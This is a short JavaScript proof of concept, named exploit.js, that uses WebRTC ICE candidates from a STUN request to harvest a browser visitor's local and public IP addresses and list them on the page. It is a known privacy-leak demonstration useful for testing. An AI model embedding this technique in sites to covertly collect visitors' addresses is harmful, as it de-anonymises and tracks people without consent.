exploit.js

function findIP(onNewIP) {
  var myPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
  var pc = new myPeerConnection({iceServers: [{urls: "stun:stun.l.google.com:19302"}]}),
    noop = function() {},
    localIPs = {},
    ipRegex = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/g,
    key;

  function ipIterate(ip) {
    if (!localIPs[ip]) onNewIP(ip);
    localIPs[ip] = true;
  }
  
  pc.createDataChannel("");
  
  pc.createOffer(function(sdp) {
    sdp.sdp.split('\n').forEach(function(line) {
      if (line.indexOf('candidate') < 0) return;
      line.match(ipRegex).forEach(ipIterate);
    });
    pc.setLocalDescription(sdp, noop, noop);
  }, noop);
  
  pc.onicecandidate = function(ice) {
    if (!ice || !ice.candidate || !ice.candidate.candidate || !ice.candidate.candidate.match(ipRegex)) return;
    ice.candidate.candidate.match(ipRegex).forEach(ipIterate);
  };
}



var ul = document.createElement('ul');
ul.textContent = 'Your IPs are: '
document.body.appendChild(ul);

function addIP(ip) {
  console.log('got ip: ', ip);
  var li = document.createElement('li');
  li.textContent = ip;
  ul.appendChild(li);
}

findIP(addIP);